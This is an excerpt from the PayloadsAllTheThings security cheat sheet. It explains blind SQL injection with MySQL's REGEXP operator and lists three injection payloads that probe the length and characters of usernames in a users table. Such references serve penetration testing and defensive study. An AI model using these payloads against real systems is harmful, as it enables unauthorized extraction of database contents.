Blind SQL injection can also be performed using the MySQL `REGEXP` operator, which is used for matching a string against a regular expression. This technique is particularly useful when attackers want to perform more complex pattern matching than what the `LIKE` operator can offer. | Payload | Description | | ---------------------------------------------------------------------- | ----------------------------------- | | `' OR (SELECT username FROM users WHERE username REGEXP '^.{8,}$') --` | Checking length | | `' OR (SELECT username FROM users WHERE username REGEXP '[0-9]') --` | Checking for the presence of digits | | `' OR (SELECT username FROM users WHERE username REGEXP '^a[a-z]') --` | Checking for data starting by "a" |
Source: SQL Injection/MySQL Injection.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.